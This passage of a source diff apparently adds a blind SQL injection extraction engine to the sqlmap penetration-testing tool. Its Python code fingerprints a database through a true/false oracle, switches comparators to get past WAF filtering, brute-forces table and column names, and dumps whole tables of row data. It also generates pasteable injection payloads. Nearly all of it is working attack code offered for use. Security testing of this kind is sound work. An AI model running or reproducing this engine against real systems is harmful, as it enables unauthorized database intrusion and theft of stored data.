return "hex:%s" % name
# 4) direct string comparison - only trustworthy where the collation follows
# byte order (probe the ASCII case/range invariants first)
byteOrdered = (self._ask("'a'>'A'") and self._ask("'Z'<'a'") and self._ask("'0'<'A'"))
if byteOrdered and self._ask("%s>'p'" % one) and not self._ask("%s>'r'" % one):
self.dialect.compare = "ordinal"
self.dialect.ordered = True
return "ordinal"
# 5) equality scan - case-correct only under a case-sensitive collation
if not self._ask("'a'='A'"):
self.dialect.compare = "equality"
return "equality"
# 6) last resort: case-insensitive equality. letters recovered, CASE LOST
# (no code/hex function and a CI collation - a genuine hard limit)
self.dialect.compare = "equality-ci"
self.dialect.notes.append("case-insensitive collation and no code/hex function: letter case is not recoverable")
return "equality-ci"
def _discoverComparator(self):
# how to express "value > threshold" for bisection. A WAF that strips '<'/'>'
# (very common) would otherwise leave code-mode picking '>' and silently
# failing. Prefer '>'; else BETWEEN (ordered, no angle brackets); else fall
# to order-free IN() subset bisection which needs only '=' membership.
try:
if self._ask("2>1") and not self._ask("2>3"):
self._comparator = "gt"
elif self._ask("2 BETWEEN 2 AND 3") and not self._ask("5 BETWEEN 2 AND 3"):
self._comparator = "between"
self.dialect.notes.append("'>' unusable; bisecting via BETWEEN")
else:
self._comparator = "membership"
self.dialect.notes.append("no ordered comparator; using order-free IN() subset bisection")
self._inOk = self._ask("2 IN (2,3)") and not self._ask("9 IN (2,3)")
except OracleUndecided:
pass # keep the safe defaults (gt / IN-ok)
def _charcodeSemantics(self, tmpl):
# ASCII-only ROUND-TRIP: build a char from its code, then read the code back.
# code(char(N))==N means extract-then-rebuild is faithful for N. no raw
# non-ASCII byte ever crosses the URL/app/DBMS encoding layers.
cf = self._codeCharTmpl()
if not cf:
return "unknown"
code = lambda n: tmpl.format(expr=cf.format(code=n))
try:
if not self._ask("%s=233" % code(0x00E9)): # U+00E9 round-trips (code(charfrom(0xE9))==0xE9)
return "unknown"
if not self._ask("%s=8364" % code(0x20AC)): # U+20AC does NOT (single-byte codepage can't represent it)
return "codepage" # single-byte codepage only
# a supplementary char proves full codepoint vs a UTF-16 code-unit fn
# (SQL Server UNICODE() returns the leading surrogate for U+1F642).
if self._ask("%s=128578" % code(0x1F642)):
return "codepoint"
if self._ask("%s=55357" % code(0x1F642)): # high surrogate
return "utf16_unit"
return "bmp_codepoint" # verified on BMP only
except OracleUndecided:
return "unknown"
def _discoverCharfrom(self):
for name, tmpl in _CHARFROM:
if self._ask("%s='a'" % tmpl.format(code=97)) and \
not self._ask("%s='b'" % tmpl.format(code=97)):
self.dialect.charfrom = Cap(name, tmpl)
return name
self.dialect.charfrom = None
def _discoverIdentity(self):
for kind, candidates in sorted(_IDENTITY.items()):
for expr in candidates:
# a valid identity expression has non-zero length; invalid -> error -> false
if self._hasChars(expr):
self.dialect.identity[kind] = expr
break
def _discoverCatalog(self):
for table, family, enum in _CATALOGS:
if self._exists(table):
self.dialect.catalog = table
self.dialect.family = family
self.dialect.catalogEnum = enum
return table

107
extra/esperanto/engine.py Normal file
View file

@ -0,0 +1,107 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from .atlas import *
from .records import *
from .oracle import _OracleCore
from .discovery import _Discovery
from .extraction import _Extraction
from .enumeration import _Enumeration
class Esperanto(_OracleCore, _Discovery, _Extraction, _Enumeration):
"""DBMS-agnostic blind extractor. Behaviour lives in four mixins by concern
(oracle / discovery / extraction / enumeration); this class only holds
construction + the query counter."""
def __init__(self, oracle, verbose=False, maxlen=4096, retries=1, quorum=1,
maxbytes=None, max_queries=None):
"""oracle: callable(condition_str) -> bool.
quorum>1 turns on majority voting (2*quorum-1 samples) so a noisy or
intermittently-erroring oracle can't flip a single probe and corrupt a
result; retries re-attempts a raised call before it counts as an error.
maxlen caps text characters; maxbytes separately caps byte/hex recovery
(default 4*maxlen); max_queries is an optional hard oracle-call ceiling."""
if not callable(oracle):
raise TypeError("oracle must be callable")
self.oracle = oracle
self.verbose = verbose
self.maxlen = maxlen
self.maxbytes = maxlen * 4 if maxbytes is None else maxbytes
self.retries = retries
self.quorum = max(1, quorum)
self.max_queries = max_queries
self.dialect = Dialect()
self._queries = 0
self._errors = 0
self._hexProbed = False
self._hexOrdered = None
self._backslashEscape = None
self._codeTmpl = None
self._comparator = "gt" # ordered-compare op: "gt" / "between" / "membership"
self._inOk = True # IN(...) usable (order-free subset bisection)
self._lastTruncated = False
self._discovered = False
self._probing = False # True while laddering CANDIDATE rungs (discovery or lazy _ensure*): an
# undecidable probe there = "rung unusable" -> False; elsewhere (reading
# committed data) an undecidable probe stays undecided so it degrades loudly
self._progress = None # optional host callback(str) for live feedback
@property
def queryCount(self):
return self._queries
def hostExtract(oracle, strategy, expr, maxlen=4096):
"""Reference HOST inference loop driven ONLY by an InferenceStrategy + oracle.
This is the proof that the strategy is a sufficient hand-off: it reproduces
char-by-char extraction with zero dependency on Esperanto's own retrieval code -
exactly what sqlmap's `bisection()`/`queryOutputLength()` would do instead, but in
~30 lines. Covers the char-comparison modes (code / collation / ordinal /
equality); hex mode is reachable the same way via strategy.renderHex()."""
ask = lambda cond: bool(oracle(cond))
L = strategy.renderLength(expr)
if not ask("%s>=0" % L):
return None
if ask("%s=0" % L):
return ""
lo, hi = 1, min(8, maxlen)
while hi < maxlen and ask("%s>%d" % (L, hi)):
lo, hi = hi + 1, min(hi * 2, maxlen)
while lo < hi:
mid = (lo + hi) // 2
lo, hi = (mid + 1, hi) if ask("%s>%d" % (L, mid)) else (lo, mid)
length = lo
def read(pos):
mode = strategy.compare_mode
if mode == "code":
code = strategy.renderCode(expr, pos)
top = 0x10FFFF
for cap in (127, 255, 0xFFFF, 0x10FFFF):
if not ask("%s>%d" % (code, cap)):
top = cap
break
a, b = 0, top
while a < b:
m = (a + b) // 2
a, b = (m + 1, b) if ask("%s>%d" % (code, m)) else (a, m)
return _unichr(a)
if mode in ("collation", "ordinal"):
cs = _PRINTABLE_SORTED
a, b = 0, len(cs) - 1
while a < b:
m = (a + b) // 2
a, b = (m + 1, b) if ask(strategy.renderCharCmp(expr, pos, cs[m], ">")) else (a, m)
return cs[a]
for ch in _FREQ_ORDER: # equality scan
if ask(strategy.renderCharCmp(expr, pos, ch, "=")):
return ch
return _REPL
return "".join(read(i) for i in range(1, length + 1))

View file

@ -0,0 +1,613 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from .atlas import *
from .records import *
from .wordlist import commonColumns
from .wordlist import commonTables
_BRUTE_MAX_TRIES = 500 # cap existence-probes so a slow oracle can't run away
# pseudo-columns that COUNT() accepts but that aren't real columns (would poison a dump)
_PSEUDO_COLUMNS = frozenset(("rowid", "_rowid_", "oid", "ctid", "rownum", "xmin", "xmax"))
class _Enumeration(object):
"""_Enumeration
catalog walking + data dump: enumerate / columns / dump / bulk + row selection.
When the catalog is unreadable/unknown (permission wall, exotic engine, CTF), the
table/column listings fall back to brute-forcing common names (bruteTables /
bruteColumns) so extraction works with zero schema knowledge."""
def enumerate(self, kind="table", limit=10, schema=None):
"""Bounded enumeration by keyset (MIN(name) WHERE name>'prev') - no dialect
row limiter needed, and cost scales with `limit`, not catalog size. `schema`
scopes tables to one database. Falls back to brute-forcing common table names
when the catalog is unavailable/empty. For a full dump prefer enumerateBulk."""
names = None
if kind in self.dialect.catalogEnum and self._canPage:
names = self.enumerateKeyset(kind, limit, schema)
if not names and kind == "table":
names = self.bruteTables(limit, schema) # no catalog/paging -> guess the usual names
return names
@property
def _canPage(self):
# keyset enumeration needs an ordered comparator or IN() (NOT IN paging); with
# neither, the catalog walk can't advance past the first row -> use brute-force
return self._comparator in ("gt", "between") or self._inOk
def bruteTables(self, limit=50, schema=None):
"""No/unreadable catalog: discover tables by existence-probing common names
(COUNT(*) succeeds -> exists; errors -> the oracle reads False). The 'know
nothing about the schema' fallback, akin to sqlmap's --common-tables."""
self.dialect.notes.append("catalog unavailable - brute-forcing common table names")
found, tries = [], 0
for name in commonTables():
if len(found) >= limit or tries >= _BRUTE_MAX_TRIES:
break
tries += 1
qname = self.quoteIdent(name)
if schema is not None:
qname = "%s.%s" % (self.quoteIdent(schema), qname)
try:
if self._exists(qname):
found.append(name)
self._emit(name)
except OracleUndecided:
break # oracle wall - stop, keep what we have
return found
def bruteColumns(self, table, schema=None, limit=100):
"""No/unreadable column catalog: discover columns of `table` by existence-
probing common names (COUNT(col) succeeds -> the column exists)."""
qtable = self.quoteIdent(table)
if schema is not None:
qtable = "%s.%s" % (self.quoteIdent(schema), qtable)
found, tries = [], 0
for col in commonColumns():
if len(found) >= limit or tries >= _BRUTE_MAX_TRIES:
break
if col.lower() in _PSEUDO_COLUMNS: # rowid/ctid/oid... are queryable but not real columns
continue
tries += 1
try:
# probe the column BARE (not quoted): a nonexistent bare column errors,
# whereas a double-quoted unknown is silently taken as a STRING LITERAL
# on SQLite -> would pass every fake name. COUNT-free (WAF may filter it).
if self._exists(qtable, col):
found.append(col)
self._emit(col)
except OracleUndecided:
break
if found:
self.dialect.notes.append("column catalog unavailable - brute-forced %d common column names" % len(found))
return found
def _source(self, kind, schema=None):
col, src, filt = self.dialect.catalogEnum[kind]
clauses = [filt] if filt else []
if schema is not None and "schema" in self.dialect.catalogEnum:
scol = self.dialect.catalogEnum["schema"][0] # table_schema / OWNER / schemaname
clauses.append("%s=%s" % (scol, self.buildLiteral(schema)))
return col, src, ((" WHERE " + " AND ".join(clauses)) if clauses else "")
def enumerateKeyset(self, kind, limit=10, schema=None):
if kind not in self.dialect.catalogEnum:
return None
col, src, where = self._source(kind, schema)
return self._keysetWalk(col, src, where, limit)
def _keysetWalk(self, col, src, where, limit):
# page by keyset: MIN(name) then MIN(name) WHERE name > prev. no dialect row
# limiter needed. the FIRST query is unbounded (a space/'' seed would skip
# identifiers sorting below it). the DB does the ordering in its own
# collation; Python only tests EXACT repetition (collation-invariant) - never
# a Python `<=` ordering test.
conj = " AND " if where else " WHERE "
names, prev = [], None
while len(names) < limit:
if prev is None:
expr = "(SELECT MIN(%s) FROM %s%s)" % (col, src, where)
else:
beyond = self._beyondSql(col, prev, "text", seen=names)
if beyond is None: # no ordered comparator, no IN -> can't page
self.dialect.notes.append("enumeration stopped: no way to page (no ordered comparator, no IN)")
break
expr = "(SELECT MIN(%s) FROM %s%s%s%s)" % (col, src, where, conj, beyond)
# a best-effort walk must DEGRADE, not crash: an undecided/over-budget
# probe (permission or charset wall) stops the listing with what we have
try:
if not self._ask("%s IS NOT NULL" % expr):
break
name = self.extract(expr)
except OracleUndecided:
self.dialect.notes.append("enumeration stopped early (oracle undecided - permission/charset wall)")
break
if not name or name == prev:
break
names.append(name)
self._emit(name) # live feedback per discovered name
if _REPL in name:
# an unrecoverable char in the name can't form a reliable keyset bound;
# stop rather than loop on a corrupt (or repeating) boundary
self.dialect.notes.append("enumeration stopped: %r holds an unrecoverable character" % name)
break
prev = name
return names
def _beyondSql(self, expr, prev, unit, seen=None, boundfn=None):
# SQL fragment picking the next un-taken row for keyset paging, honoring the
# discovered comparator so paging survives a blocked '>'. '>' pages by "sorts
# after prev"; a blocked '>' keeps numeric keys ordered via BETWEEN, and pages
# text keys order-free by "key NOT IN (already-seen)" (needs only IN, and dodges
# any collation/sentinel guesswork). Returns None when none of these is possible
# - the caller then stops with the rows it already has.
lit = boundfn or self.buildLiteral # rowids may need a quoted literal (see _ROWID_LITBOUND)
if self._comparator == "gt":
bound = prev if unit == "int" else lit(prev)
return "%s>%s" % (expr, bound)
if self._comparator == "between" and unit == "int":
return "%s BETWEEN %s+1 AND 9223372036854775807" % (expr, prev)
if self._inOk and seen:
lits = ",".join((str(k) if unit == "int" else lit(k)) for k in seen)
return "%s NOT IN (%s)" % (expr, lits)
return None
def hasTable(self, table, schema=None):
"""Does `table` (optionally in `schema`) resolve? COUNT-free existence."""
q = self.quoteIdent(table)
if schema:
q = "%s.%s" % (self.quoteIdent(schema), q)
try:
return self._exists(q)
except OracleUndecided:
return False
def tableSchema(self, table):
"""Resolve which schema a table actually lives in, from the catalog. PG-family
tables are commonly in 'public' while current_schema() is the login user's own
(empty) schema, so scoping to the current schema misses them. Returns the schema
name, or None if the catalog has no schema concept or the table isn't found."""
ce = self.dialect.catalogEnum
if "schema" not in ce or "table" not in ce:
return None
schemacol = ce["schema"][0]
namecol, source = ce["table"][0], ce["table"][1]
# prefer a non-system schema (a system table could share the name)
excl = ("pg_catalog", "information_schema", "sys", "mysql", "performance_schema",
"SYS", "INFORMATION_SCHEMA", "pg_toast")
notsys = " AND %s NOT IN (%s)" % (schemacol, ",".join(self.buildLiteral(s) for s in excl))
for tail in (notsys, ""):
expr = "(SELECT MIN(%s) FROM %s WHERE %s=%s%s)" % (schemacol, source, namecol, self.buildLiteral(table), tail)
try:
if self._ask("%s IS NOT NULL" % expr):
return self.extract(expr)
except OracleUndecided:
break
return None
def quoteIdent(self, name):
"""Quote a target-supplied identifier (table/column) so reserved words,
spaces, dots, or embedded quote chars are referenced safely. A name is an
IDENTIFIER, never a raw SQL fragment. Falls back to the bare name if no
quoting style was discovered."""
q = self.dialect.identQuote
if not q:
return name
return "%s%s%s" % (q[0], name.replace(q[1], q[1] * 2), q[1])
def _ensureQuoting(self, table):
# discover the identifier-quote style using the (known-present) table:
# the wrong quote char makes SELECT ... FROM <quoted> error -> reject
if self.dialect.identQuote is not None or self.dialect.identQuote is False:
return self.dialect.identQuote or None
with self._probePhase(): # a wrong quote char makes FROM <quoted> error -> "unusable", not undecided
for open_q, close_q in _IDENT_QUOTE:
quoted = "%s%s%s" % (open_q, table.replace(close_q, close_q * 2), close_q)
if self._exists(quoted):
self.dialect.identQuote = (open_q, close_q)
return self.dialect.identQuote
self.dialect.identQuote = False # sentinel: probed, none worked
return None
def columns(self, table, schema=None, limit=50):
"""Enumerate a table's column names (keyset), optionally scoped to `schema`
(so identically-named tables in different schemas don't merge columns). Falls
back to brute-forcing common column names when no column catalog is usable."""
names = None
spec = _COLUMN_SPECS.get(self.dialect.catalog)
if spec and self._canPage:
col, source, wheretmpl = spec[0], spec[1], spec[2]
ordcol = spec[3] if len(spec) > 3 else None # catalog's ordinal-position column
schemacol = spec[4] if len(spec) > 4 else None # the column source's OWN schema column
lit = self.buildLiteral(table)
filt = (wheretmpl % lit) if wheretmpl else ""
if schema is not None and schemacol: # explicit (e.g. Oracle OWNER, not table_schema)
filt += " AND %s=%s" % (schemacol, self.buildLiteral(schema))
elif schema is not None and "table_name" in (wheretmpl or ""): # ANSI-shaped filter
filt += " AND table_schema=%s" % self.buildLiteral(schema)
elif schema is not None and "TABLE_NAME" in (wheretmpl or ""):
filt += " AND TABLE_SCHEMA=%s" % self.buildLiteral(schema)
where = (" WHERE %s" % filt) if filt else ""
# pragma_table_info(%s) takes the table in the source itself
source = source % lit if "%s" in source else source
names = self._keysetWalk(col, source, where, limit)
if names and ordcol:
names = self._orderByOrdinal(names, col, source, filt, ordcol)
if not names:
names = self.bruteColumns(table, schema, limit) # no catalog -> guess the usual names
return names
def _orderByOrdinal(self, names, namecol, source, filt, ordcol):
# reorder the enumerated columns by their catalog ordinal so a dump matches the
# table's DEFINITION order, not the alphabetical MIN()-keyset order (+1 read per
# column). Degrades gracefully: a missing/wrong ordinal sorts last, never crashes.
keyed = []
for n in names:
cond = "%s=%s" % (namecol, self.buildLiteral(n))
if filt:
cond = "%s AND %s" % (filt, cond)
try:
o = self.extractInteger("(SELECT MIN(%s) FROM %s WHERE %s)" % (ordcol, source, cond))
except (OracleUndecided, OverflowError):
o = None
keyed.append((o if o is not None else 1 << 30, n))
return [n for _, n in sorted(keyed, key=lambda t: (t[0], t[1]))]
def _discoverKey(self, table, schema=None):
# a primary/unique key column, preferred over a physical rowid. keyset needs
# MIN() over it and a `> prev` bound, both of which a key column supports.
spec = _KEY_SPECS.get(self.dialect.catalog)
if not spec:
return None
source, tcol, ncol, extra = spec
filt = "%s=%s" % (tcol, self.buildLiteral(table))
if schema is not None:
filt += " AND table_schema=%s" % self.buildLiteral(schema)
if extra:
filt += " AND %s" % extra
# take the alphabetically-first key column (deterministic); a compound key
# still yields a usable ordering column for the walk
keyexpr = "(SELECT MIN(%s) FROM %s WHERE %s)" % (ncol, source, filt)
with self._probePhase(): # a catalog that lacks this key structure errors -> "no key", not fatal
present = self._ask("%s IS NOT NULL" % keyexpr)
if present:
name = self.extract(keyexpr)
if name:
return name
return None
def columnType(self, expr):
"""Coarse type hint: 'numeric' vs 'text'. RELIABLE ONLY ON STRICTLY-TYPED
engines (PostgreSQL/Oracle/SQL Server/DB2), where SUM() over a text column
errors. Dynamically-typed engines (SQLite, MySQL non-strict) coerce text->0
so SUM succeeds - there the hint is unreliable and returns 'unknown' when it
can't tell. Not a substitute for reading the catalog's declared type."""
sums = self._ask("(SELECT SUM(%s) FROM (SELECT %s) t) IS NOT NULL" % (expr, expr))
if not sums:
return "text" # SUM errored -> definitely not numeric
# SUM worked: real numeric, OR a coercing dynamic engine. disambiguate with a
# cheap non-digit check on the first char (via the discovered substring)
try:
one = self._sub(self._resolveText(expr), 1, 1)
if self._ask("%s>='0' AND %s<='9'" % (one, one)) or self._ask("%s='-'" % one):
return "numeric"
except Exception:
pass
return "unknown"
def _classifyUnit(self, keyexpr, qtable):
# a key/rowid reads as int (fast extractInteger + numeric bound) or opaque
# text (extract + literal bound)
q = "(SELECT MIN(%s) FROM %s)" % (keyexpr, qtable)
if self._comparator == "between":
# numeric range holds only for a number (text sorts outside it in SQL)
if self._ask("%s BETWEEN -9223372036854775808 AND 9223372036854775807" % q):
return "int"
elif self._comparator == "gt":
if self._ask("%s>=0" % q) or self._ask("%s<0" % q):
return "int"
return "text" # membership/undecided: safe to treat as literal-bound text
def _discoverRowid(self, qtable):
# find a MIN-aggregatable physical row identifier for the (already-quoted)
# table; classify int vs opaque text (SQLite rowid is int; Oracle ROWID text).
# each candidate is a PROBE: a pseudo-column the engine lacks (ROWID on MSSQL,
# ctid off-PG, ...) errors, which must skip to the next candidate, not fail the dump
with self._probePhase():
for name, tmpl, _unit in _ROWID:
rid = tmpl % qtable if "%s" in tmpl else tmpl
if not self._ask("(SELECT MIN(%s) FROM %s) IS NOT NULL" % (rid, qtable)):
continue
unit = self._classifyUnit(rid, qtable)
# a physical row-id used as a keyset must be a sane NON-NEGATIVE int;
# Informix's `rowid` reads as a bogus negative here -> reject it and fall
# through to the value-keyset walk rather than feed extractInteger garbage
if unit == "int" and self._comparator == "gt" and \
not self._ask("(SELECT MIN(%s) FROM %s)>=0" % (rid, qtable)):
continue
return Cap(name, rid, unit=unit)
return None
def _walkKey(self, qtable, table, schema):
# ordering key, best-first: primary/unique key -> physical row-id -> value.
# returns (key_expr, unit, source_label, boundfn); boundfn formats a keyset
# comparison bound (quoted literal for opaque-typed row-ids, else buildLiteral).
key = self._discoverKey(table, schema)
if key:
kexpr = self.quoteIdent(key)
return kexpr, self._classifyUnit(kexpr, qtable), "key:%s" % key, self.buildLiteral
rid = self._discoverRowid(qtable)
if rid is not None:
boundfn = self._lit if rid.name in _ROWID_LITBOUND else self.buildLiteral
return rid.template, rid.get("unit"), "rowid:%s" % rid.name, boundfn
return None, None, "value", self.buildLiteral
def _rowPayload(self, cols):
# one hex-framed, NULL-PRESERVING token per column, joined by ','. token
# grammar: 'N' = SQL NULL, 'V'+hex = non-NULL value ('V' alone = empty
# string). the marker is required because COALESCE(col,'') collapses NULL and
# empty - and on Oracle the '' fallback is itself NULL. needs hex framing.
if not self._ensureHexfn() or not self.dialect.concat:
return None, False # can't frame a whole row -> caller scavenges cell-by-cell
parts = []
for c in cols:
qc = self.quoteIdent(c) # column names are identifiers, not raw SQL
# text-cast before hex so a numeric/date column yields its TEXT form, not
# DBMS-internal storage bytes (SQL Server CAST(1 AS VARBINARY)=00000001)
text = self.dialect.textcast[1].format(expr=qc) if self.dialect.textcast else qc
marked = self.dialect.concat[1].format(a="'V'", b=self.dialect.hexfn[1].format(expr=text))
parts.append("CASE WHEN (%s) IS NULL THEN 'N' ELSE %s END" % (qc, marked))
interleaved = [parts[0]]
for p in parts[1:]:
interleaved.append("','") # the ',' row-token delimiter
interleaved.append(p)
return self._concatMany(interleaved), True # flat when concat is variadic
def _cellRow(self, qtable, cols, where):
# SCAVENGER row read: pull each column on its own. A single value needs no comma/
# marker framing (so no concat) and its NULL is detected directly (so no hex 'N'
# sentinel) - this is how a dump still works on a back-end that can neither
# concatenate nor hex-encode. Slower (one extraction per cell), but it retrieves.
row = []
for c in cols:
res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (self.quoteIdent(c), qtable, where))
if not res.complete:
return None, False
row.append(res.value)
return row, True
def _splitRow(self, data, ncols):
# returns (row, valid); a malformed token count/marker means invalid, never
# a silently padded/truncated plausible row
if data is None:
return None, False
toks = data.split(",")
if len(toks) != ncols:
return None, False
enc = self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None
vals = []
for t in toks:
if t == "N":
vals.append(None)
elif t == "V":
vals.append("")
elif t.startswith("V"):
v = self._decodeHexToken(t[1:], enc)
if v is None:
return None, False
vals.append(v)
else:
return None, False
return vals, True
def dump(self, table, columns=None, schema=None, limit=10):
"""Extract actual ROW DATA. Table/column names are treated as quoted
IDENTIFIERS (never raw SQL). Optionally scoped to `schema`. Rows are walked
by a primary/unique KEY when discoverable, else a physical row-id, else the
row's own value (distinct-only); each row is one hex-framed, NULL-preserving,
text-cast extraction. Completeness is checked against COUNT(*). Returns
{columns, rows, complete, keyed_by}."""
self._ensureQuoting(table)
qtable = self.quoteIdent(table)
if schema is not None:
qtable = "%s.%s" % (self.quoteIdent(schema), qtable)
cols = columns or self.columns(table, schema)
if not cols:
return None
payload, framed = self._rowPayload(cols)
if not framed: # no hex/concat to frame a whole row
self.dialect.notes.append("dump %s: no hex/concat framing - scavenging cell-by-cell" % table)
try:
expected = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable)
except OracleUndecided:
expected = None
if expected == 0:
return {"columns": cols, "rows": [], "complete": True, "keyed_by": None}
keyexpr, unit, keyed_by, boundfn = self._walkKey(qtable, table, schema)
rows, ok = [], True
def readrow(where):
# a whole row: one framed extraction when hex+concat exist, else cell-by-cell.
# if the framed whole-row read doesn't verify (some engines choke on the big
# nested CONCAT or its verification, e.g. SQL Server), degrade to reading each
# cell on its own rather than dropping the row
if framed:
try:
res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (payload, qtable, where), codes=_HEX_PAYLOAD_CODES)
if res.complete:
return self._splitRow(res.value, len(cols))
except OracleUndecided:
pass # framed whole-row read errored (big nested CONCAT) -> cell-by-cell
return self._cellRow(qtable, cols, where)
# a best-effort walk must DEGRADE, not crash: an undecided/over-budget probe
# (permission or charset wall) stops with whatever rows were recovered
try:
if keyexpr is not None: # key / row-id keyset (preferred)
prev, keys = None, []
while len(rows) < limit:
if prev is None:
where = ""
else:
beyond = self._beyondSql(keyexpr, prev, unit, seen=keys, boundfn=boundfn)
if beyond is None: # no ordered comparator, no IN -> can't page
break
where = " WHERE %s" % beyond
ke = "(SELECT MIN(%s) FROM %s%s)" % (keyexpr, qtable, where)
key = self.extractInteger(ke) if unit == "int" else self.extract(ke)
if key is None or key == "" or key == prev:
break
bound = key if unit == "int" else boundfn(key)
row, valid = readrow("%s=%s" % (keyexpr, bound))
if not valid: # a truncated/invalid cell != complete row
ok = False
break
rows.append(row)
self._emit(", ".join("NULL" if c is None else c for c in row))
prev = key
keys.append(key) # for order-free NOT IN() paging
else: # value keyset (distinct rows only)
ok = False # exact-duplicate rows collapse
self.dialect.notes.append("dump %s: no key/row-id, value-keyset walk (duplicate rows collapse)" % table)
pageexpr = payload if framed else self.quoteIdent(cols[0])
# the framed page-key is text; a bare first-column page-key may be numeric,
# and a numeric column MUST be read via extractInteger + a numeric bound - a
# text SUBSTR read mangles e.g. Derby's space-padded INT->CHAR into a garbage
# bound ("id=' '") that matches no row (dump silently returns 0 entries)
pageunit = "text" if framed else self._classifyUnit(pageexpr, qtable)
prev, seen = None, []
while len(rows) < limit:
if prev is None:
where = ""
else:
beyond = self._beyondSql(pageexpr, prev, pageunit, seen=seen)
if beyond is None: # no ordered comparator, no IN -> can't page
break
where = " WHERE %s" % beyond
if framed:
res = self.extractResult("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where), codes=_HEX_PAYLOAD_CODES)
pv, valid = res.value, res.complete
row, ok2 = self._splitRow(pv, len(cols)) if pv is not None else (None, False)
valid = valid and ok2
elif pageunit == "int": # numeric first column: read + bound as a number
pv = self.extractInteger("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where))
row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, pv)) if pv is not None else (None, False)
else: # page on the first (text) column, read cells under it
pv = self.extract("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where))
row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, self.buildLiteral(pv))) if pv else (None, False)
if pv is None or pv == "" or pv == prev or not valid:
break
rows.append(row)
self._emit(", ".join("NULL" if c is None else c for c in row))
if isinstance(pv, str) and _REPL in pv: # a corrupt (unrecoverable) text bound can't page reliably; an int bound never carries _REPL
break
prev = pv
seen.append(pv) # for order-free NOT IN() paging
except (OracleUndecided, OverflowError):
# degrade, never crash: an undecided oracle (permission/charset wall) or a
# bogus key that overflows extractInteger stops the walk with partial rows
self.dialect.notes.append("dump %s stopped early (oracle undecided / bad key)" % table)
ok = False
# complete only if every row extracted cleanly AND we got them all
complete = ok and expected is not None and len(rows) == expected
return {"columns": cols, "rows": rows, "complete": complete, "keyed_by": keyed_by}
def poc(self, expr, position=1, gt=64):
"""Emit a clean, pasteable boolean payload for ONE probe (the exploitation
primitive), so a tester can drop it into Burp without re-running discovery."""
one = self._sub(expr, position, 1)
if self.dialect.compare == "code" and self.dialect.charcode:
return "%s>%d" % (self.dialect.charcode[1].format(expr=one), gt)
if self.dialect.compare == "hex" and self.dialect.hexfn:
return "%s>'%02X'" % (self.dialect.hexfn[1].format(expr=one), gt)
if self.dialect.compare == "collation" and self.dialect.binwrap:
w = self.dialect.binwrap[1]
return "%s>%s" % (w.format(x=one), w.format(x=self._lit(chr(gt))))
if self.dialect.compare in ("equality", "equality-ci"):
# equality mode was chosen BECAUSE ordering isn't trustworthy - don't
# fabricate a `>` predicate the target's collation may not honour
raise RuntimeError("ordered PoC unavailable in equality-only compare mode")
return "%s>%s" % (one, self._lit(chr(gt)))
def strategy(self):
"""Freeze the discovered dialect into an immutable InferenceStrategy - the
hand-off artifact for a host inference engine (see hostExtract). Ensures the
hex fn and quoting/backslash flags are resolved before freezing."""
d = self.dialect
if not self._discovered:
self.discover()
self._ensureHexfn()
self._lit("x") # resolve backslash-escape flag
return InferenceStrategy(
product=d.product or d.family, family=d.family, compare_mode=d.compare,
catalog=d.catalog, dual=(d.dual[1] if d.dual else ""), notes=tuple(d.notes),
substring=(d.substring[1] if d.substring else None),
index_base=(d.substring.get("index_base", 1) if d.substring else 1),
length=(d.length[1] if d.length else None),
charcode=(d.charcode[1] if d.charcode else None),
charcode_sem=(d.charcode.get("semantics") if d.charcode else None),
hexfn=(d.hexfn[1] if d.hexfn else None),
binwrap=(d.binwrap[1] if d.binwrap else None),
charfrom=(d.charfrom[1] if d.charfrom else None),
concat=(d.concat[1] if d.concat else None),
identquote=(d.identQuote if d.identQuote and d.identQuote is not False else None),
backslash=bool(self._backslashEscape))
def enumerateBulk(self, kind, maxchars=4096, encoding=None):
"""One-shot full dump: aggregate the whole column into one delimited string
and extract it once. When a hex function exists each value is HEX-encoded
before aggregation, so the ',' delimiter is unambiguous (a comma can't occur
in a hex token) and any charset survives; otherwise raw values are joined
(comma-ambiguous, noted). Completeness is checked against an independent
COUNT(DISTINCT). Returns a BulkResult (list-like)."""
if kind not in self.dialect.catalogEnum:
return None
col, src, where = self._source(kind)
# independent COUNT FIRST - so a single empty-string row isn't mistaken for
# an empty catalog (the aggregate of one '' can look like no rows)
expected = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s%s)" % (col, src, where))
if expected == 0:
return BulkResult([], expected=0, complete=True)
if not self._ensureHexfn(): # delimiter safety needs hex
self.dialect.notes.append("bulk %s: no hex framing - use enumerateKeyset" % kind)
return None
# 'V'-prefix each non-NULL token so an empty string is 'V' (distinct from a
# NULL aggregate over zero rows)
aggcol = self.dialect.concat[1].format(a="'V'", b=self.dialect.hexfn[1].format(expr=col))
if self.dialect.bulkAgg is None:
self.dialect.bulkAgg = self._discoverBulkAgg(aggcol, src, where)
if not self.dialect.bulkAgg:
return None
agg = self.dialect.bulkAgg[1].format(col=aggcol)
res = self.extractResult("(SELECT %s FROM %s%s)" % (agg, src, where), limit=maxchars, _ceiling=maxchars)
joined = res.value
if joined is None:
return BulkResult([], expected=expected, complete=False)
tokens = joined.split(",")
if res.truncated and tokens: # last token may be partial
tokens = tokens[:-1]
names, seen = [], set()
for t in tokens:
if not t.startswith("V"):
continue
v = self._decodeHexToken(t[1:], encoding)
if v is not None and v not in seen: # dedupe (non-unique columns repeat)
seen.add(v)
names.append(v)
complete = (not res.truncated) and expected is not None and len(names) == expected
if expected is not None and len(names) != expected:
self.dialect.notes.append("bulk %s: got %d of %d (incomplete)" % (kind, len(names), expected))
return BulkResult(names, expected=expected, complete=complete)
def _discoverBulkAgg(self, col, src, where):
for name, tmpl in _BULK_AGG:
agg = tmpl.format(col=col)
if self._ask("(SELECT %s FROM %s%s) IS NOT NULL" % (agg, src, where)):
return Cap(name, tmpl)
return None

View file

@ -0,0 +1,685 @@
#!/usr/bin/env python
"""
